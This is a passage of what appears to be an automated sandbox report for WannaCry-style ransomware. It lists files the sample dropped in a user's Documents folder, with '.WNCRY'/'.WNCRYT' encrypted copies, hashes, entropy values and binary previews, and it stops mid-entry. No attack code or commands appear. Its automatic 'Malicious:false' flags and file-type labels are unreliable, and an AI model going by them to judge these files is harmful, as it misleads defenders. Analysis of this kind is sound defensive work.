                                      Preview:WANACRY!....p[M...}0.... Q..,-.S..}.+.:...JW.....;.n..~.....r1..o..e8..q. ..4.:]*.U........F...5Qf+..re+|..8....Mk....!.....A.0.@....m.7.......hl.w..W?..S.;..D...Q.......zK.{...,......T.~.(....{R..{......%D.48S..%..!;..2:..}=.^.F.;L&U5.K.~...~..C<W.......67............[^....,;)|..a.pQ..a...3..v..vw..+u.^..](@.#^..e.........}..@t...0C4-hZ...?.7]1...W.l3'....I.{.dH..K..}..E.?.Fw..=..R..i...d...B.....Qh...+...H..P.....V'@..e../.+M3......,n...Qe...a...9b..o..(9...o.#..e.P#g..5X..%....<>.AG.k....c... ..9`.o..t.x..A.I].)c.4y.......Z...{...p.I.l.ow..T.. ...y~.L.;.~+..'d......G.?..FDTc2.\.Y....6..1.JKD45..2.r+......|5....T....]........C...n.. .LR...ebF.X.....(...t..Y..i%r.Sz..0.=..!...y.}.............a=.N9L..]:..9. .8...Ad).....?]...D...brR.Z'D.g.d..Y.'.gB...;.M....-.....m._,W...B{Xv..S..6..d.u.O.U].4~..<J.>t...M........ww.^.4...Z..'....\t.#K....c.>...>..-g'tG..(Q.....i....6..B...V..~.....F...+...(q........D-....8.TKC:h.8...+:..k..A.....`6O.Z3E

                                      C:\Users\user\Documents\WKXEWIOTXI\UOOJJOZIRH.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.848364146745378
                                      Encrypted:false
                                      SSDEEP:24:bkeCCFFiljubNjdQiF6BK3v2lfFUhnkMljNyfJ6OK3SNXNhvjEz+WDlmlA0P:bkeCCmab7Qe6BweltU5NyfJ7fhvcaA0P
                                      MD5:B0C9C04BE13FD554A3F4DF66173F5D6A
                                      SHA1:FF08CD6EA3FFCE3EA83D6A91B8447B73A11B3F03
                                      SHA-256:4D483B934DC6F115EA87EBEB9846206D6D60277CF8FD54DFC0037886E6F103C2
                                      SHA-512:A186A770C6B6EB973EE8A9B9732AB4689CB37A4ED5F781F753A5DFF4C65D138958EFB27B475B51703347CD18226284369053680EDC20C18F44531F6F7CDBFF8C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....p[M...}0.... Q..,-.S..}.+.:...JW.....;.n..~.....r1..o..e8..q. ..4.:]*.U........F...5Qf+..re+|..8....Mk....!.....A.0.@....m.7.......hl.w..W?..S.;..D...Q.......zK.{...,......T.~.(....{R..{......%D.48S..%..!;..2:..}=.^.F.;L&U5.K.~...~..C<W.......67............[^....,;)|..a.pQ..a...3..v..vw..+u.^..](@.#^..e.........}..@t...0C4-hZ...?.7]1...W.l3'....I.{.dH..K..}..E.?.Fw..=..R..i...d...B.....Qh...+...H..P.....V'@..e../.+M3......,n...Qe...a...9b..o..(9...o.#..e.P#g..5X..%....<>.AG.k....c... ..9`.o..t.x..A.I].)c.4y.......Z...{...p.I.l.ow..T.. ...y~.L.;.~+..'d......G.?..FDTc2.\.Y....6..1.JKD45..2.r+......|5....T....]........C...n.. .LR...ebF.X.....(...t..Y..i%r.Sz..0.=..!...y.}.............a=.N9L..]:..9. .8...Ad).....?]...D...brR.Z'D.g.d..Y.'.gB...;.M....-.....m._,W...B{Xv..S..6..d.u.O.U].4~..<J.>t...M........ww.^.4...Z..'....\t.#K....c.>...>..-g'tG..(Q.....i....6..B...V..~.....F...+...(q........D-....8.TKC:h.8...+:..k..A.....`6O.Z3E

                                      C:\Users\user\Documents\WKXEWIOTXI\VAMYDFPUND.xlsx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.812689208682131
                                      Encrypted:false
                                      SSDEEP:24:3uk7rdWDi5Qf9AsM8nxHWUd2j53T3vZ57i+ZGBMPI:3uyrYDgQf9O8xHWlpDhA+gMg
                                      MD5:94112D42FA994856821594E43C21C7C3
                                      SHA1:9221971226495FC8DCC2C8AB928CFA57AFA1E0C1
                                      SHA-256:62BDE7D92DED3302997EFDBF2E8CF0A0C4C9214EA1856189FDFBD32D53F74033
                                      SHA-512:0D27DF4F6EF15EA343BDAC34448D65E9A17559558479A7F37629CD590B34E348527F686BF455F510F2BA308AB9B67A304CF06F4F71A46F8484281274471BBFCD
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..e...\..}@..N.K...T..\.G&..?........D8_(...W..B93.....a.....B..cC. `Vc.$..O_....v.'..<..3..G.....E=`..2.E.....{.P..Y.%...Qc;..K3..l.)qq.KA.|U9.`0..U..t..}.I|n...G..s..,m.9..7w.1Y..IHI.|...~.....-...%.S+v#..j.....~Y..b.1G9>bl..on..?..!.&....pv.l...8...T..c...lE........~0.T.I.r!YB...mk...G....U.,\. .......$.B).t..Y....Su...ti...&..:+-..:..F.W2...+..,.r.C..}.i.3..VP.9n:.i.j..Y..h.._.;@t..Z..*R*.qeb.6!.U..::@Y.".0..JU..O.e@`xq.E...he.xD.{.`<h..r.i.H..}.:.,.>.dz.B.kA.~W....".u!...2Sk....].h..m.=.P.R.+.....3.k.e.7.q]..l,.+...:SF..x]B...3.$J..j)L>.L2}4..D..k.R{I.o&....F...;.3l..{....i...@vK..G..Ei.FI.=.fw....*.M..w............p..E.2...Y............]...rMJ.....4_X.#Y.n.......g.H...OzQ.co.<..n..m..l9....@]..]gi.....5..6...B...%#~*I.|..r#..2.........?.!.,6...Fp.._)...+*a..n[._.$.R.oq... R..kQs......g..fI.....@..}.[....$8.\ew\U..s.-69...eH.u.....n.uc.u.8..;n...;.)~bo.y..em:...^Z.tJ_..$.LxN.2..u..]../6=.q..:_......J9.c...1.=g.....'.-....co.>.8...;h.VK.2.....

                                      C:\Users\user\Documents\WKXEWIOTXI\VAMYDFPUND.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.847608415086159
                                      Encrypted:false
                                      SSDEEP:24:bk2Hj7LtFOxPMbHTrGjN0X3w31zdk3VD67g277yzjBZTMMvWbws285Xu9W8/Reyx:bk2DvOFMrvG0Xoq4gxjBZTnow585Xl8v
                                      MD5:95A2A45C59B6602A82C2B1DD91DDC1D1
                                      SHA1:44389D027B709F39BDF26AEA12F76EC15DFDE186
                                      SHA-256:3E451CE6E001492B27A45175CE7BE28B69B0544D1B68491F140A27C99F128563
                                      SHA-512:D17E45F33548F442D6B45DE7D31799983F3CEE67B5E91949E85E803F6C75B29784081D54F5E5E80D6AE0E09A885790B74F08BFE1BBC0C965E3F0D0981983E38C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......qM.[vZ.-.`Jz.._...RE0eQ..}..7..\=...5 ..2..)M...?.g...{.g..U...q..I..d5&..n*7.(.Ko....^....IW.....l{.....#C..E.Iw.....).)A.f.7..:_...T.9.%.5...5n1..w.z.Sr....{.}.............R.D}..g..u..t...SG....d.q'.&....F.$K_.D=.6|...a.l..dl.o.7xqG..$.V.o............v..j.O...W-.B)..o.U(..;....M...3..i.jZ9z.Ue.r..y.~.Aa.>...u0...`M...'...X....d..6.:.-......((....,..s.Fo.D.#....%vho.H2n.....2?k.*....=...j..f..#....v.V.a.ia.. ..o......G!...pxw..+...hy..#...v.*5?%...f.%..|c%..Kt_.vB.d1...5N.&E]T]...'{.HZ..W..j.90.....?.O.W.....w. .Lp..$..q....Mh.......A.%.M.{.tR......x..HO..-...BB.....>..T3..#.NV.R...F...S........+.k...&.......Q<...... Uud...Rk. ..e~(T.7YX......w....=6._.O.>...,f..EB....<.....-..Rp...B..+|.J*..T6h..;..). t...9...0}..`.......U......2.i.eR.].u..#.iH...O..C..q.T.e={......F..7.|CO..5.1..j...$....jX..*.=.UY.0.. m.../..T2....5.;.A}.a.....m.4.#.W.L.#19..4 .k..*y..,G.?.p.[(...r.tS..38..V~.m."....Xd..Y].....}......L.).........lAy..~._S.ns..b?...;.

                                      C:\Users\user\Documents\WKXEWIOTXI\VAMYDFPUND.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.847608415086159
                                      Encrypted:false
                                      SSDEEP:24:bk2Hj7LtFOxPMbHTrGjN0X3w31zdk3VD67g277yzjBZTMMvWbws285Xu9W8/Reyx:bk2DvOFMrvG0Xoq4gxjBZTnow585Xl8v
                                      MD5:95A2A45C59B6602A82C2B1DD91DDC1D1
                                      SHA1:44389D027B709F39BDF26AEA12F76EC15DFDE186
                                      SHA-256:3E451CE6E001492B27A45175CE7BE28B69B0544D1B68491F140A27C99F128563
                                      SHA-512:D17E45F33548F442D6B45DE7D31799983F3CEE67B5E91949E85E803F6C75B29784081D54F5E5E80D6AE0E09A885790B74F08BFE1BBC0C965E3F0D0981983E38C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......qM.[vZ.-.`Jz.._...RE0eQ..}..7..\=...5 ..2..)M...?.g...{.g..U...q..I..d5&..n*7.(.Ko....^....IW.....l{.....#C..E.Iw.....).)A.f.7..:_...T.9.%.5...5n1..w.z.Sr....{.}.............R.D}..g..u..t...SG....d.q'.&....F.$K_.D=.6|...a.l..dl.o.7xqG..$.V.o............v..j.O...W-.B)..o.U(..;....M...3..i.jZ9z.Ue.r..y.~.Aa.>...u0...`M...'...X....d..6.:.-......((....,..s.Fo.D.#....%vho.H2n.....2?k.*....=...j..f..#....v.V.a.ia.. ..o......G!...pxw..+...hy..#...v.*5?%...f.%..|c%..Kt_.vB.d1...5N.&E]T]...'{.HZ..W..j.90.....?.O.W.....w. .Lp..$..q....Mh.......A.%.M.{.tR......x..HO..-...BB.....>..T3..#.NV.R...F...S........+.k...&.......Q<...... Uud...Rk. ..e~(T.7YX......w....=6._.O.>...,f..EB....<.....-..Rp...B..+|.J*..T6h..;..). t...9...0}..`.......U......2.i.eR.].u..#.iH...O..C..q.T.e={......F..7.|CO..5.1..j...$....jX..*.=.UY.0.. m.../..T2....5.;.A}.a.....m.4.#.W.L.#19..4 .k..*y..,G.?.p.[(...r.tS..38..V~.m."....Xd..Y].....}......L.).........lAy..~._S.ns..b?...;.

                                      C:\Users\user\Documents\WKXEWIOTXI\WKXEWIOTXI.docx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:OpenPGP Public Key
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.8326716405699495
                                      Encrypted:false
                                      SSDEEP:24:/zvBS0Afa9SHCCoI8j6IW6F6jQvgW1Mb8Ecs:TBK7HboIC6V6aQLqb7L
                                      MD5:92FCE157AD1BE1D041195C9EDD77B110
                                      SHA1:1580559D6AC06F7412AC81A79C9E800DB23BCB2D
                                      SHA-256:3224F508E4BFD682D2A60BD8D9886ED879D5F54785233044D2556C44743CDD51
                                      SHA-512:3908C38AD8383A31CAE0CA97B23D2DFF7A359AB2D43C402F0A1C6A34AFB6D8CD7CFDE792D3D519A528B9D7A833752723227FED19D229E9B8DB9373C7FA0AADE7
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..\.1.T....=..`6N.f8. .....{.6..D6.[.}T.g.........X....+..A.5^...s7o....}..)v;..B. 6$.k!.....j.,I..^..t).....m/./.....>.]BC..Y...u.Y...8N.-dfL=...........k,..UA+RG.;.2EQ.+..... .b@....8.Rm...........w..3...\...8,!-R.k..fZ....c.n...*""^3......F..0.y..{L..*.ZV..4z.U..<. r...ppS...]...`..I..Z.I7...7.G...o..|.Z.&28....O#.uc6..g..q.[..d.....%8..o*Co.T`...>xi$...q....a.=|m.....h..-X8....).T..z.V]./....<W........L"(....[.`*....9r.k.;....i....x.y6...E.e...7.g8..O.K.Q.......nJ...<x.....x.lq0.....%.[..%/...S....}F.#...EY.H....8_.oU..j.....c.#...Z..\.h,1f.Ah....C..y.\ .|._.}..u..g..-...O.....J.i...-..&..L..R....W.............@<.n.t..J]P...........n/.u....ZT.\f~..U.cn...!z..._......>..?r$F.n.e.)..........1E.Y5e..ml......s}K|.^.d.&...*l5r.H....QE....Z}.....#M@...,r..~.E......].....e...uI...u..{.H.G.;.+.;=...r..L...:....d&X...:E...i..d.*........+..|z...56.....-.M.....zD..F...5........gR....*.G.V(.85ey.._.` ...u..K.|x....t...[...,g4.7....,..?....

                                      C:\Users\user\Documents\WKXEWIOTXI\WKXEWIOTXI.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.839995835757304
                                      Encrypted:false
                                      SSDEEP:24:bk0y2SLkI2mQ8uCppP5rqwKC1cwnPbyUcPcq1nEC3ex3kRbVB9xVkZ:bkJrLkWQ8Zp3W1C1cwnPbyUa11ECA3KK
                                      MD5:82EE39D2BBD0288495F12C80EF32E230
                                      SHA1:FC31ED78D93779FB19F4B41AC02C7FF4B29240D0
                                      SHA-256:00DB92FFCF8DCD492F24CD9B71AA0C46D47BB57A02DF136DA3472AADE6AFD807
                                      SHA-512:DAF3FCD4D0B940255D772C9DA7E0B25795A9A08EEEDCC26B6EE166360FDC3A7F6242F26E71EA053F4147C35EFF101A222035891D4DBBC837B15248EE43FAE482
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....0c.,c.......... I>)..0.|.Y.j.Sd.."6...uF..=.<...>j...7.Xt...r..#....yS..X...w?......D..|.;(.n.Q".[..i.k..Y...3*.HT.....#~.....y...|.o.........=.cgD.j..|B6.u..h..x..Y..9=&.F..".`.-{.@...+..I780).o.g.(......2...S..2_l1i...&R ...!.z...~H..+(GN...............}.."..v"....A=>.^...y0.N....Z.t@....Y.f....[.F.D.....@+............n..."`...r..T../...Cp.[.".Z5*%VcG..e.......+.c6;.Al.&..,>...>w(.u;?...jj.b|.....R1&...Ad%.qS..N9..cL.,{.<...X......x...,/.O........#fG.......D.5.....J......TU..?vD).sn...(B-..!^....Bk:.......9.......r..u.g......gP...B]\.Q<J..!.F...'.........an7.C./..$..U...w!.o..X..f...R2.U.n..*J.x.U.c..f.@.L...V....m).....q0.h...cF..H./.....ohtmi.e..X.'c...f..X.<./.M)*H..V}...........}...3Nt.u_vI....s....^..n-a....u:+..n..=.l.a.\w.5...g......r..........#.@8$.&....7.k....;s..^...... ...zP...........P.a.>.q...\...._"......8]..(`..wEQ..4p.).....%...y..R...U!......PI..jb..S...h.Yl(w..E...ua.sIy.....#......f.....}I\.L.C....

                                      C:\Users\user\Documents\WKXEWIOTXI\WKXEWIOTXI.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.839995835757304
                                      Encrypted:false
                                      SSDEEP:24:bk0y2SLkI2mQ8uCppP5rqwKC1cwnPbyUcPcq1nEC3ex3kRbVB9xVkZ:bkJrLkWQ8Zp3W1C1cwnPbyUa11ECA3KK
                                      MD5:82EE39D2BBD0288495F12C80EF32E230
                                      SHA1:FC31ED78D93779FB19F4B41AC02C7FF4B29240D0
                                      SHA-256:00DB92FFCF8DCD492F24CD9B71AA0C46D47BB57A02DF136DA3472AADE6AFD807
                                      SHA-512:DAF3FCD4D0B940255D772C9DA7E0B25795A9A08EEEDCC26B6EE166360FDC3A7F6242F26E71EA053F4147C35EFF101A222035891D4DBBC837B15248EE43FAE482
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....0c.,c.......... I>)..0.|.Y.j.Sd.."6...uF..=.<...>j...7.Xt...r..#....yS..X...w?......D..|.;(.n.Q".[..i.k..Y...3*.HT.....#~.....y...|.o.........=.cgD.j..|B6.u..h..x..Y..9=&.F..".`.-{.@...+..I780).o.g.(......2...S..2_l1i...&R ...!.z...~H..+(GN...............}.."..v"....A=>.^...y0.N....Z.t@....Y.f....[.F.D.....@+............n..."`...r..T../...Cp.[.".Z5*%VcG..e.......+.c6;.Al.&..,>...>w(.u;?...jj.b|.....R1&...Ad%.qS..N9..cL.,{.<...X......x...,/.O........#fG.......D.5.....J......TU..?vD).sn...(B-..!^....Bk:.......9.......r..u.g......gP...B]\.Q<J..!.F...'.........an7.C./..$..U...w!.o..X..f...R2.U.n..*J.x.U.c..f.@.L...V....m).....q0.h...cF..H./.....ohtmi.e..X.'c...f..X.<./.M)*H..V}...........}...3Nt.u_vI....s....^..n-a....u:+..n..=.l.a.\w.5...g......r..........#.@8$.&....7.k....;s..^...... ...zP...........P.a.>.q...\...._"......8]..(`..wEQ..4p.).....%...y..R...U!......PI..jb..S...h.Yl(w..E...ua.sIy.....#......f.....}I\.L.C....

                                      C:\Users\user\Documents\WKXEWIOTXI\ZQIXMVQGAH.mp3

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.824214131573233
                                      Encrypted:false
                                      SSDEEP:24:S3HVzAXgnSyPQW1adMvdz0+moUG+/5jsG73oJodgv:SHVzNnSyPQWVvdz4oUP/5Voudgv
                                      MD5:94955F70A69313A0CCD777017218E4B6
                                      SHA1:4564561AE8BB70CC5D2C88CB226F5C97C71B409C
                                      SHA-256:E40CDD4FAA194A9367E0B519BAE80C66EA81C133EF94D0275F59E5A8C2611F41
                                      SHA-512:8E84F25E7315D971B72717E5D372E6C6BAC8C4B1A3B20A217AA38836D07751C65143FD1298BF93B680F54EE4F9B67F3368F013CAF356CC54A0BDF3AA8B303277
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.D....u...8[%...[.r.FU.Z...V50.;L...F..3..w`j......... Lr.!....].k..dE.Cd.r%....r:"5\......QA[NxY...%|.....}../{.#...N..u.<......l]0.B_.0.5$.;.b....b...q.....>.a..?.ju.T.OY.xe.q..TQU..K.}O~......+.....E..1._..L.#v...e...Z...%.C..r.....I..!.a@...=n.8..R4W&.R(...6Ss3...I.{.}..k:.._..UIy...s8.E"....k..%.8.@......}g~......V;*X..B....P....X?.}..e6...L.+E.D....n.=u..<.M....#J..f.[..fR.. .....!-.....N....R.p/.1...].]..E...>...`j......1s.2.Q~>.....1.D..:...3..<l."....s.(D....t.ks......].......V.....l.{."s..d.:.O..SB.b.w.....n5..+8.H...c.j.4b9~.B..>$...I]...j.h*.U...f.[....9.:E.'v'.u]j.X9..}0...{.j&g.,.{bW_.qd...{..h/..C..V.#..g0I. ...QYe.T}.t.A........e...L.u...`.L.[.....>.X........V..$4.9..y /...AL.4.. .s|..@M.!.Z.........(....2/S....|2M.PK>....._...-.LB&......Wl,..=...a...d...E....J...7....Z.A..u.z.i^.."...d..M...n)..._..Mq*....(.{)`..LPK.o....S.8.V...AUe.#.e>Y..{...M x..o....aZ.Nu.Y.....3........G....;.:.....Q*..K.W'."...9..|......Y....x..E.c..i..D.unt.

                                      C:\Users\user\Documents\WKXEWIOTXI\ZQIXMVQGAH.mp3.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.836854066108908
                                      Encrypted:false
                                      SSDEEP:24:bkbVAvY5s3TvM6Y2ObTMg84GLxRghrsqLYK/uNauLW:bkbGIsjvMh2ObTMgbG9SsqUKpuLW
                                      MD5:F33212339F4F12A1B9429513CF85B7F9
                                      SHA1:58E77B4D1052791737DFAD8179052D79DF17EEB1
                                      SHA-256:6BBCF4997C423715E9C595D09CB13732D64B1536CBD9B23764B4A167309DD3EE
                                      SHA-512:733693F7D3EC48DEE57FD0DC7281BEABBB6EBDFAEC23D32185AD9E03134D7884D2B72DB4F38E1C201EC7E08BCC153E6231745D870767419C0192B42AFF4E0473
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....5\....N.]i....n.D..f.0..................hG...c.F...z.AI.d..L...V.9n."`..>s.7?..a.{.2).~T.....=$...c.B.....<...%I....e.%...%....>.:..z...%.;.E."..T.....8.......!y`D....<;=@T...oV].l'.V.]......$..x.........)5./p&..*`...$3..A.B.J...|.^.`.K..0.1+...................(.N...r...x....{..E,...+...vV..9..@k>..xE@.,Y5:...=.n........bE.3...'i...T.)...N*@`.m.X.....x.0.w.P.S.*h_P... ...\H...........[X.pJE..9..owQ.4......*-.....6...tO;.m../.6..L.%.....n.N.o..2......tz.M.N.....F..L)..E.......>....{.g:..!.Q..1}).:............;.....:M<h...H..)..?.y..,M..o.4...n.. ..G.&C.x.UH......%...N..%-.Y.ve......'...Y......J.Y>PX......ec....h.e..f..$ewoB.....b/....Y2(......qA..zp.cq.n....[...~.....t.....K..{R=...V.5.Z.`yN..R..RL`v'#jD.......C.vO%Rc.+BC{X...E),...u.Jc$..)h.3Of............x:R)W1...^R.....{.@.V.......$V-._-...M+.`@smK.p.:.g3a.....]...tL.<.ON...].a...u...Y..8...._.....\E.~U..EA..............=0hkL..B.C..i....]..@.O8.3.\[.....w....7w.....

                                      C:\Users\user\Documents\WKXEWIOTXI\ZQIXMVQGAH.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.836854066108908
                                      Encrypted:false
                                      SSDEEP:24:bkbVAvY5s3TvM6Y2ObTMg84GLxRghrsqLYK/uNauLW:bkbGIsjvMh2ObTMgbG9SsqUKpuLW
                                      MD5:F33212339F4F12A1B9429513CF85B7F9
                                      SHA1:58E77B4D1052791737DFAD8179052D79DF17EEB1
                                      SHA-256:6BBCF4997C423715E9C595D09CB13732D64B1536CBD9B23764B4A167309DD3EE
                                      SHA-512:733693F7D3EC48DEE57FD0DC7281BEABBB6EBDFAEC23D32185AD9E03134D7884D2B72DB4F38E1C201EC7E08BCC153E6231745D870767419C0192B42AFF4E0473
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....5\....N.]i....n.D..f.0..................hG...c.F...z.AI.d..L...V.9n."`..>s.7?..a.{.2).~T.....=$...c.B.....<...%I....e.%...%....>.:..z...%.;.E."..T.....8.......!y`D....<;=@T...oV].l'.V.]......$..x.........)5./p&..*`...$3..A.B.J...|.^.`.K..0.1+...................(.N...r...x....{..E,...+...vV..9..@k>..xE@.,Y5:...=.n........bE.3...'i...T.)...N*@`.m.X.....x.0.w.P.S.*h_P... ...\H...........[X.pJE..9..owQ.4......*-.....6...tO;.m../.6..L.%.....n.N.o..2......tz.M.N.....F..L)..E.......>....{.g:..!.Q..1}).:............;.....:M<h...H..)..?.y..,M..o.4...n.. ..G.&C.x.UH......%...N..%-.Y.ve......'...Y......J.Y>PX......ec....h.e..f..$ewoB.....b/....Y2(......qA..zp.cq.n....[...~.....t.....K..{R=...V.5.Z.`yN..R..RL`v'#jD.......C.vO%Rc.+BC{X...E),...u.Jc$..)h.3Of............x:R)W1...^R.....{.@.V.......$V-._-...M+.`@smK.p.:.g3a.....]...tL.<.ON...].a...u...Y..8...._.....\E.~U..EA..............=0hkL..B.C..i....]..@.O8.3.\[.....w....7w.....

                                      C:\Users\user\Documents\ZQIXMVQGAH.jpg

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:GRand Unified Bootloader stage2 version 143.120, installed partition 2203131636, saved entry 1531265998, identifier 0xe7, LBA flag 0xd4, GRUB version V\357T\266\344\314\234\314\001\363\270|\347*\307\344uOJ\017\004\345K\\022\260\023\351\265^\227I\034\227/\204\016\011\325\326\231._\366\204`\340\340\022\265_^\257\260\234AQ,\354\246R\327\260+\303S\021?\\331\020m\310\234\355d\304B'\347w\224\02268\334\254=>\203\301\252e\201\350e\343\005\025z\364\026\003\204g\340\331\372\333\217\233l>\3528\027\303\317\346\250\27441\236\326=|, configuration file \314\234\314\001\363\270|\347*\307\344uOJ\017\004\345K\\022\260\023\351\265^\227I\034\227/\204\016\011\325\326\231._\366\204`\340\340\022\265_^\257\260\234AQ,\354\246R\327\260+\303S\021?\\331\020m\310\234\355d\304B'\347w\224\02268\334\254=>\203\301\252e\201\350e\343\005\025z\364\026\003\204g\340\331\372\333\217\233l>\3528\027\303\317\346\250\27441\236\326=|\353\332\2401\372
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.839864630889735
                                      Encrypted:false
                                      SSDEEP:24:7x708hR9Z4Pkv2cTT/S3N1PjrTRq6Adwxog9BDweTVW2BWUEEeUM:977V7v2cn/kv1q6Aax99BDTDBWCpM
                                      MD5:AE7493B7A96EDC6F213BA8A7EB547537
                                      SHA1:E779273EA6B38119C4F35996BCB5B68A09234E8C
                                      SHA-256:F13EEA94A479E5F4D681A1C96518699FD5FAC799C0EFFE8E93B6A100C9F07396
                                      SHA-512:CBA6553C28C51BB193EBA2FA5F39265F477E9347936665066794337A397703C7B62533CED199EC26DA1A01D93FEB7A4BCD3A9A52592CB3EE7C65037EAB274FCB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:s....#BA\.E.....T...z.q.,...CB....EI..d..3.H.y..1......[..ZC..f.Q.j`.M.g..tBC.....Bc..-.1.?@....3"qX..\.... ..).v.]B..|...$%.t........eeXp.V......$.sr........!......iUp.Q.a..<.93.}..&T..&..$R4X.dc..G.z\xP1q...J1=4A+.#{..z."[:.5...A.wJ....EU4.-..../.....M....G.RS.)....(B.s]......,.. ...QI.7U6....s).9?`..~.H......Gr._...(.._.F..>`+.....z....Gg....q%....F..x#..t.Q.oZ ..m..&..T.......#......E..$L...K.Ky.....&9..2....2........V/VS.Y\.M...fi..#...2...7...b..-.'.&..!......(W/..?.L..pT;..x..Q..CE[..V.T......|.*..uOJ...K\....^.I../......_..`...._^...AQ,.R.+.S.?\..m..d.B'.w..68.=>...e..e...z....g.....l>.8....41..=|..1....0..h.>R.|2W#.z'..;(..1.....}U...E..=r....!0c.j.U.../D.O..ON.'.{w...y..u1.*.......}.Jz.n...."P..U....R.`.F..[w...OVqp..'.8.Z..Q.5...a.g0.]9P...'.y.A.Z....y.......n..7..cH;.8;(..A.fnS#jN.@m..o.N{.t.X<c.......g..m..._.S&vB.R..=.,.?.P~.t6.^.[............o.>.......S..Q...mbc..7oiG.zlL^..h...HUvL.>.20.z...q.c;?...lP..t.E+:..

                                      C:\Users\user\Documents\ZQIXMVQGAH.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.859299503317123
                                      Encrypted:false
                                      SSDEEP:24:bkvatbwtQeihtt31QBRkPy4a4SNyP2Bh8jw0/8HxLxvTDG+ZwYAPZ+atW6h:bk4bw2FhL1aR2y4JEQ2Byjwo8HxLxvTS
                                      MD5:37FBD9EB5780D88403DC6C3342CD0603
                                      SHA1:9FEFF740DA247F2F2F74D57186D40646A2108B95
                                      SHA-256:8A77B4FAEA10F7927CD4EE7F2190E29E9B3DDC8CD656E9050702E15824F7C948
                                      SHA-512:725CB2C232DA34115E307241C3C8F87A712AC5A3846ABD7C79F49795A7AF3132353D1C51B34DBFE1A7E86FD2510D1CF6DE3473B8D1D0018CF63010A77B505D56
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!...._...!y..D.{..5..(.....AA..,...w.o$..!.;....[.z.&Y.....E^w..]....s`AY6.?C..}g..k...L.(..+..@..a..Y.....*..i..Jh.*r...}1w.e.....-....p..u.S..EG.*p.PeM........hxt.hjM...M..b.=....~"...I..0.95.y..fG.D..Lz..>./.a.s..-..bk.jE.%......._.D...6.R...2...(................(....65...Wl\2..1H..-0.LTN."......v.....R.....\7f....Z....2;&..&...bx.....q..2..r..............y...N_....;b"W.O.sK...v.?........e{.E._v....3.g.^O....[.......8Y..^G..^/.R2..0O'.d_......^.8..U.`.j....x.T...A.X!D......CG.1.........[q.t..!....<..x...%.&...}_p>ua9.e..e.v@.S,.||#.-v..f..G:n.y..2...q8.vJzu......WVI...%....LXr.mU.Y..9.HD'.....Vp....gx....B:.t.....8|.w&.LQ)..[c..-.H........1C(..VR..z^^/r......D.^R.$Dd...K$'_6..|...@.3..f..y...p../X...D...D..c...B..........6.?...%Y~..).!Um.,.l;.]..s..Q.....m.X.!.....]..0..o.>.m.$53...h...@.L.B.|+..z..,$..j.jQ.|n....F!..yn..=|J...0.4w.3...)dy...6|.f..+$..~.:....M...~....Z.E{..}.8QT~..w.C..Ds..q...qv.....X.>h.6......*....{....e|E...

                                      C:\Users\user\Documents\ZQIXMVQGAH.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.859299503317123
                                      Encrypted:false
                                      SSDEEP:24:bkvatbwtQeihtt31QBRkPy4a4SNyP2Bh8jw0/8HxLxvTDG+ZwYAPZ+atW6h:bk4bw2FhL1aR2y4JEQ2Byjwo8HxLxvTS
                                      MD5:37FBD9EB5780D88403DC6C3342CD0603
                                      SHA1:9FEFF740DA247F2F2F74D57186D40646A2108B95
                                      SHA-256:8A77B4FAEA10F7927CD4EE7F2190E29E9B3DDC8CD656E9050702E15824F7C948
